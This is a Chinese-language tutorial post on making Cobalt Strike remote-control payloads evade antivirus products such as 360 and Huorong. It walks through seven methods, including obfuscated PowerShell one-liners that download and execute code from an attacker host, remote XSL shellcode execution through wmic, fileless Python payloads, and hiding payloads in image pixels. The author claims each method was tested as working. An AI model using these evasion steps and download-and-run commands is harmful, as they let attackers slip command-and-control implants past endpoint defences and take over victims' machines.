CS远控免杀-01


CS远控免杀-01

前言

攻防实战中,目标机器几乎都装有杀软,其中绝大部分装有36X或者火X,不做免杀根本没法搞。
此处介绍几种cs免杀上线的姿势。(尽量别用云查杀跑。)


方法一:免杀shellcode加载器

截止2021.6.25测试有效
1.1 https://github.com/pureqh/bypassAV
实际测试可过36X和火X。静态动态均未报毒:(亲测可用的CS payload有C、Perl、Python、Ruby、Vell(注意勾选x64,x32不适用))

生成免杀exe,到目标机器执行上线即可

1.2 https://github.com/MrWQ/HanGuang
实际测试可过36X和火X。静态动态均未报毒。


方法二:cs自带powershell脚本编码混淆后免杀

截止2021.6.24测试有效(测试用cs版本为4.1,)

1. 本机生成ps1脚本

attacks->packages->payload generator->powershell (不勾选64)
生成后如下图:(此时执行ps1会被杀)

2. 修改IEX执行命令内容

观察ps1脚本,我们可以对$DoIt进行编码,然后再解码,将整个ps1内容进行base64编码(可尝试其他加密方式绕过),替换变量DoIt:
解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))

进一步优化,将base64分段处理:

3. 执行 :Powershell -ExecutionPolicy Bypass -File zzz.ps1 成功免杀上线

-ExecutionPolicy Bypass将执行策略设置为绕过,这样可以执行powershell脚本文件。


方法三:变形powershell命令绕过

截止2021.7.7测试有效

1. 生成payload :attacks->web-driverby->scripted web delivery(s) 生成powershell payload。

经测试,其中‘-w hidden’、‘downloadstring’动作会被检测到。下边有几种变形方式成功绕过AV上线:
(pis:360标准版貌似只拦:‘-w hidden’。。。默认生成的cs马把这个参数删掉就能过。)
1、echo Invoke-Expression(new-object net.webclient).downloadstring('http://x.x.x.x/a') | powershell -
2、powershell set-alias -name zzz -value IEX;zzz(New-Object Net.WebClient).DownloadString('http://x.x.x.x/a')
3、powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('http://x.x.x.x/a')"
4、powershell.exe -nop -c ".(LS Alias:/IX) ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"
5、powershell.exe -nop -c "&(GAL I
X) ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"

2. cmd执行payload成功上线,且杀软未拦截


方法四:利用wmic远程文件不落地执行shellcode

截止2021.6.30测试有效
参考:https://github.com/Ridter/AMSI_bypass
实际测试可过36X和火X。

  1. 将shellcode.xsl部署在vps上

  2. 在靶机上执行命令,成功上线:
    wmic os get /format:"http://192.x.x.x:8080/shellcode.xsl"

  3. 此方法已在git上发布CS插件(3年前的方法都不修吗orz)


方法五:cs不落地python payload

截止2021.6.24测试有效(测试用cs版本为4.1,万万没想到竟然有自带payload可直接上线,大概是对python、go等略新的语言检测不到位吧)

1. 生成payload :attacks->web-driverby->scripted web delivery(s) 生成python payload。

2. cmd执行payload成功上线,且杀软未拦截

3. 其他几种默认payload均会杀:


4. 安装python2环境

真实环境下,大概率不存在python2环境,那么关键在于给目标服务器安装python2环境。

  • 可先上传python-2.7.18.amd64.msi,下载地址:https://www.python.org/downloads/release/python-2718/

  • 采用无交互的方式安装python-2.7.18.amd64.msi /passive,默认安装路径在C:\

  • 切换到默认安装路径:C:\Python27 测试是否安装成功。(错误要根据事件查看器做相应修改)错误一:应用程序无法启动,因为应用程序的并行配置不正确。有关详细信息,请参阅应用程序事件日志。解决方案:编辑同路径下文件Microsoft.VC90.CRT.manifest,修改为参考值:

5. 执行payload,成功上线


方法六:把cs的powershell脚本隐写到图片的RGB里,然后使其过杀软

参考:
本文写明步骤基本如下:

  1. CS通过PayloadGenerator生成一个powershell(x64)payload ---payload.ps1
  2. 下载git项目:https://github.com/dayuxiyou/Invoke-PSImage ,并将payload.ps1及一张正常图片放入同目录下
  3. 通过powershell命令生成一张带有shellcode的图片shell.png:
  • 设置执行策略
    Set-ExecutionPolicy Unrestricted -Scope CurrentUser
  • 导入ps1文件
    Import-Module .\Invoke-PSimage.ps1
  • 生成带有shellcode的图片
    Invoke-PSImage -Script .\payload.ps1 -Image .\shell.jpg -Out .\shell.png -Web
  1. 步骤3同时会生成一段powershell代码,将其中example.com替换成可访问到的vps(图片记得上传过去)。
  2. 开启两款国产杀软的情况下,打开powershell命令行,输入上述代码成功上线。
  3. 思考:一般情况下获得的shell无法直接执行powershell命令,通过如下命令调用会报错(咱也不会改。)

    那只能保存成.ps1,通过powershell.exe -ExecutionPolicy bypass -file z.ps1执行了,测试发现调用ps下载文件的动作会被火X拦。


    那只能再进行一次base64编码了,

    上传编码后的ps1脚本到目标机,通过powershell.exe -ExecutionPolicy bypass -file z.ps1执行,成功绕过AV上线

方法七:利用Invoke-Obfuscation混淆Ps文件实现上线

截止2021.7.7测试有效

1. 著名的海莲花经常使用的工具,一个powershell混淆编码框架。

https://github.com/danielbohannon/Invoke-Obfuscation